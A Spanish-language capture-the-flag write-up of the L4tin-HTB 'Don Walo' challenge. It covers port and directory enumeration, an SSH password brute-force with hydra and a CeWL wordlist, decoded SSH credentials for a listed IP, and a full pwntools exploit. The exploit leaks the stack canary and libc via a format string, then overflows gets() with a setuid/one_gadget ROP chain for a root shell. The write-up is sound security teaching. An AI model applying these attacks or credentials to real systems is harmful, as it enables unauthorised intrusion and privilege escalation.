,

Writeup Challenge "Don Walo" Desafío Nº 4 L4tin-HTB

Writeup Challenge "Don Walo" Desafío Nº 4 L4tin-HTB

El pasado 05 de oct se llevo a cabo el 4to desafío de l4tin-HTB, durante la transmisión en vivo se dieron las instrucciones y el target a vulnerar.

Empezamos realizando un reconocimiento al sitio no encontrando nada diferente en su código fuente o enlaces.

Procedemos a utilizar nmap para saber que puertos tiene abiertos:

Identificamos los puertos y procedemos a enumerar directorios, utilizamos dirb y el diccionario común para esto:

Aquí ya nos damos cuenta de que tenemos dos directorios para buscar info, al ingresar al primero nos encontramos con lo siguiente:

En el _admin encontramos esto:

Y dentro de este txt un listado con posibles admins:

Ya con esto podríamos intentar algo, al conocer los usuarios que interactúan en este server, revisamos el siguiente directorio y:

Un archivo html el cual tenia un template al parecer incompleto, lo que llama la atención es que nos indica que fue desarrollado por CEWL, para los que saben CEWL es una herramienta para generar diccionarios en base a lo que capture de un sitio.

Además si revisábamos los links de “Website” y “Contact us” habían dos tutoriales de como usar la herramienta.

Con estos datos, intentaremos hacer un ataque con hydra, ya que tenemos el servicio ssh abierto, una lista de usuarios y un diccionario para poder atacar y tenemos lo siguiente:

Luego lo utilizamos para atacar al primer usuario que encontramos y asi iremos probando con todos de ser necesario.

Ya al ingresar vemos que efectivamente somos Walter:

Comenzamos a revisar todos los directorios hasta que nos encontramos con esto:

Revisamos algunas carpetas como:

Pero al final son solo para despistar, cuando seguimos buscando en directorios nos encontramos con una carpeta llamada admin_white.

Al ingresar nos dice que la info no esta ahí y nos pasa un link de un grupo en telegram, al ingresar al link nos encontramos con esto de bienvenida:

Jugando un rato vemos que es cifrado sobre cifrado asi que ocupamos cyberchef para hacerlo más rápido, descifrando lo siguiente:

Hola motoko,

Supongo que ya viste lo que hizo el maldito Don Walo, invito a todos a romper el servicio donde escondió el proyecto 2501, maldito lo dejo como un servicio en 5555 y no para de bailar y bailar! cree que esto es un chiste. Tenemos que recuperar esa información antes que se haga publica! El maldito servidor es una zona de guerra, Yo no he podido con el motoko, tu eres la única que creo puede con esto, te deje nuestras herramientas favoritas instaladas, apúrate! o Kuze  las descubrirá primero.

Sierra Sierra Hotel (space) One Five Seven Stop Two Four Five Stop One Two Zero Stop Two Three Eight (space) Papa Uniform Papa Papa Echo Tango : Delta Oscar November Whiskey Alfa Lima Oscar Delta Alfa November Charlie Echo Charlie Hotel Alfa Lima Lima Echo November Golf Echo Two Zero One Nine ! !

Luego de dar una pista basicamente nos dice que nos conectemos a esto:

ssh 157.245.120.238 pupet:donwalodancechallenge2019!!

Hasta el momento el desafío consistía de una parte web, un crypto y luego este, un binario que permitía escalar a root, entregando la flag final. El binario lo pueden descargar de acá https://github.com/dplastico/desafio_2501

Como dato para correr el binario remoto y escalar en sus maquinas locales, deben ejecutar como root el binario de la siguiente forma:

socat tcp-listen:5555,reuseaddr,fork, exec:”./2501″

Luego de reconocimiento nos encontramos con un archivo llamado 2501 el cual después de analizar y previa enumeración nos damos cuenta es el mismo que esta corriendo como root en el puerto 5555

El programa simplemente pide un nombre y luego un código el cual devuelve nuestro “input”… mmm… Que podrá significar esto…

Dado que tenemos el mismo binario procedemos a analizarlo podemos ver que tiene activada las protecciones PIE, NX y CANARY (observamos algunas herramientas útiles como pwntools instaladas)

Y además es un ELF 64 bits dinámicamente “linkeado” por lo que ocupa librerías de libc.

Analicemos el binario y sus funciones podemos descargarlo para mayor conveniencia luego deberemos ejecutarlo remoto (para esto ocuparé Hopper)

Observamos que lee la variable var_50 desde un input y luego la imprime!

Esto Parece un format string, probémoslo

https://es.wikipedia.org/wiki/Format_String_Attack

Efectivamente tenemos un memory leak! Antes de aprovecharnos de el sigamos revisando el binario

Vemos que la función center la cual nos lleva el flujo del binario tiene un clásico overflow via GETS

https://linux.die.net/man/3/gets

Ok, Tenemos ASLR en el sistema y el binario esta con la protección PIE por lo que debemos encontrar una forma de generar un “leak” de alguna dirección en libc, calcular el offset a la dirección base y de esta forma poder realizar un buffer overflow con ret2libc, pero dado que no tenemos una llamada a system, será mejor probar con ROP ya que el stack no es ejecutable, por lo que un shellcode no servirá pero tenemos algunos problemas, primero tenemos que ver como bypasear la protección de stack cookies, o CANARY

Acá tenemos una explicación de que es la protección CANARY Y ASLR

Para lograr esto en 32 bit podríamos intentar hacer un “brute force” a la dirección de canary, pero dado que nos encontramos en 64 bit esto no parece posible (serian mas de 16^7 direcciones, algo más de 260 millones)

Pero tenemos un format string! Será que podemos hacer un “leak” de esta dirección? Veamos que podemos ver en gdb, para eso debemos frenar la ejecución luego de ingresar nuestro bof, veamos:

Primero nos encargamos de filtrar las direcciones en un formato reconocible para eso las ponemos separadas por guiones y en formato mas legible.

Veamos si alguna de estas direcciones puede servirnos, avanzamos en el programa en busca del chequeo del canary, pegamos nuestro breakpoint en la función center (con el bof) y continuamos

Haciendo un disassembly podemos ver que al registro RAX se le asigna un valor y luego se hace XOR que al compararse, si falla nos redirige a stack_chk_fail.

Veamos si podemos encontrar el valor de RAX en nuestro leak luego de esta misma operación y que corresponde al valor del “leak” numero 15 después de “Hello”.

Bueno y ahora? No sabemos en que offset está nuestro canary ni donde nuestra dirección de retorno, así que llego la hora de scriptear!, armemos un skeleton script en Python con pwntools ya que están en el server. Con mi config de gef creo un script fácil que ya tengo pre-seteado con el cual solo necesito crear la función exploit (mas info sobre GEF acá https://github.com/hugsy/gef).

Pero crearemos dos funciones, primero una para calcular el offset del canary, aprovechándonos del mensaje de “stack smashing detected”:

Con esto podemos calcular el offset del canary el cual se encuentra en a 136 caracteres de input, con esto procedemos a calcular el offset a la dirección de retorno, podemos crear una pequeña función.

OK con esto calculamos que la dirección de retorno se encuentra 8 bytes luego del CANARY, así que ahora ya podemos comenzar a construir la llamada a nuestra Shell. Pero tenemos PIE, como lograrlo?

Debemos calcular el offset de alguna dirección de libc, esta vez podemos ver que las primeras direcciones parecen ser de libc, por lo que veamos si se cargan en algun registro que nos permita hacer el cálculo:

Generamos un leak:

Y observamos los registros (info reg):

Vemos como el cuarto valor se asigna al registro R8, si esta dirección es de libc siempre podremos saber el offset para calcular la dirección base de libc!

Observamos la dirección de libc base (info proc map):

Excelente así que ahora podemos calcular el offset:

Genial tenemos el offset para calcular libc, ya podemos empezar a armar nuestro exploit! Tenemos varias posibilidades, pero para esta vez usare una técnica, que aprendí hace poco, Construiremos nuestro exploit de la siguiente forma:

JUNK + CANARY +JUNK(hasta ret) + poprdi(en libc)+NULL(para setuid) + SETUID(en libc) + GADGET(execve(“/bin/sh”))

Para buscar un pop rdi ret usamos ropper:

Para buscar setuid usamos pwntools y luego buscamos nuestro gadget, esta vez usaremos la herramienta one_gadget (vaya que es útil) para buscar un execve(“/bin/sh”).

Ahora armamos todo junto:

Listo a ejecutar remoto!

Desafio concluido! espero les haya gustado 

Exploit final:

#!/usr/bin/env python2

import sys

from pwn import *

context.update(arch="amd64", endian="little", os="linux",

               terminal=["gnome-terminal", "new window"],)

LOCAL, REMOTE = False, False

TARGET=os.path.realpath("2501")

e = ELF(TARGET)

l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#ejecutar python exploit.py remote (para tomar el proceso en escucha)

#la cuarta direccion que se lekea nos da un offset para calcular libc base

#>>> offset = 0x7ffff7ff2440 - 0x7ffff7a3a000

#>>> print hex(offset)

#0x5b8440

#>>>

offset = 0x1c2500 # de R9 que parece estar en libc

#calculamos este gadget con one_gadget (vaya herramienta)

gadget = 0x4484f   #excev(/bin/sh)

setuid = l.symbols['setuid'] # no necesita explicacion

pop_rdi = 0x23a5f #pop rdi ret en libc (por que no?)

#funcion para calcular el canary... no mucho que explicar

def offset_canary():

    for i in range(1, 200):

        r = process([TARGET,])

        test = "aaa"

        pattern = "A" * i

        r.sendlineafter("Name: ", test)

        r.readuntil('Code:')

        r.sendline(pattern)

        response = r.recvall()

        if "stack smashing detected" in response:

            print "CANARY empieza en ", i

            r.close()

            break

        else:

            print "NAAAAAA siga particopando "

            r.close()

#con esta funcion descrubrimos el offset en canary + 8 bytes (cae en RSP)

def offset_ret(r):

    #r = process([TARGET,])

    test = "%lx-" * 15

    r.sendlineafter("Name: ", test)

    response = r.readuntil('Code:')

    response = response.split('-')

    canary = int(response[-2],16)

    print hex(canary)

    pattern = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII" #encontrado 8 mas (donde empiezan las C)

    payload = "A" * 136 + p64(canary) + pattern

    r.sendline(payload)

    #resp = r.recvall()

    r.interactive()

def exploit(r):

    payload = "%lx-" * 15

    r.sendlineafter("Name: ", payload)

    response = r.readuntil('Code:')

    response = response.split('-')

    print "format strings shits : ", response

    canary = int(response[-2],16)

    print hex(canary)

    libc = int(response[3],16) - offset

    print hex(libc)

    payload = "A" * 136

    payload += p64(canary)

    payload += "B" * 8 #junk hasta ret

    payload += p64(libc + pop_rdi)

    payload += p64(0x0)  #null para setuid

    payload += p64(libc + setuid) #si vamos a usar esta tecnica ojo con la prueba local

    payload += p64(libc + gadget) #super gadget

    r.sendline(payload)

    r.interactive()

    return

if __name__ == "__main__":

    if len(sys.argv)==2 and sys.argv[1]=="remote":

        REMOTE = True

        r = remote("127.0.0.1", 5555)

    else:

        LOCAL = True

        r = process([TARGET,])

        print "PID para debug"

    print util.proc.pidof(r) #solo para atachar a GDB soy flojo

        #pause() #ermm

    exploit(r)

    #offset_canary()

   #offset_ret(r)

    sys.exit(0)

Saludos!

@DM20911

@N0M0C0N4V4JA

@DPLASTICO